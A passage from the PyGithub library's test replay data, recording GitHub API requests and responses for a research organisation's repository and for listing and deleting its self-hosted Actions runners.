github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1684.setUp.txt0000644000175100001660000002451314756101563022633 0ustar00runnerdockerhttps GET api.github.com None /users/ReDASers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e03ba66cb434ea917b2213d2e622f165"'), ('Last-Modified', 'Sun, 23 Aug 2020 16:44:50 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4923'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '77'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17A:56E7:26E44F:7DEC16:5F56AD8E')] {"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2020-06-17T16:24:55Z","updated_at":"2020-08-23T16:44:50Z"} https GET api.github.com None /repos/ReDASers/Phishing-Detection {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7a5cc4812eca7f648163b812ab640780"'), ('Last-Modified', 'Mon, 07 Sep 2020 20:43:44 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4922'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '78'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17B:1CD4:39BA46:AA1973:5F56AD8F')] {"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-09-07T20:43:44Z","pushed_at":"2020-09-07T20:43:41Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":23564,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":10,"license":null,"forks":1,"open_issues":10,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTB3PDURD2NVIUHG5KC7K2XLW","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":2} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1684.testDeleteRunnerId.txt0000644000175100001660000003033414756101563025302 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"350cc5b181e4368b7aa3827a5e068520"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4892'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '108'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C347:465E:16E586E:354B93F:5F56AF39')] {"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} https DELETE api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners/1363 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:53 GMT'), ('Status', '204 No Content'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4891'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '109'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C348:313D:D919B0:202918B:5F56AF39')] https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e180057e7da9736b4441f820ae26460d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4890'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '110'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C349:4AD9:B9E781:1E2DFAF:5F56AF39')] {"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1684.testDeleteRunnerObject.txt0000644000175100001660000003705314756101563026161 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"944c73b715b546018cb2f5a1f1598543"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4887'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '113'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C34C:56EA:183138F:383EFC0:5F56AF3A')] {"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e180057e7da9736b4441f820ae26460d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4886'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '114'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), 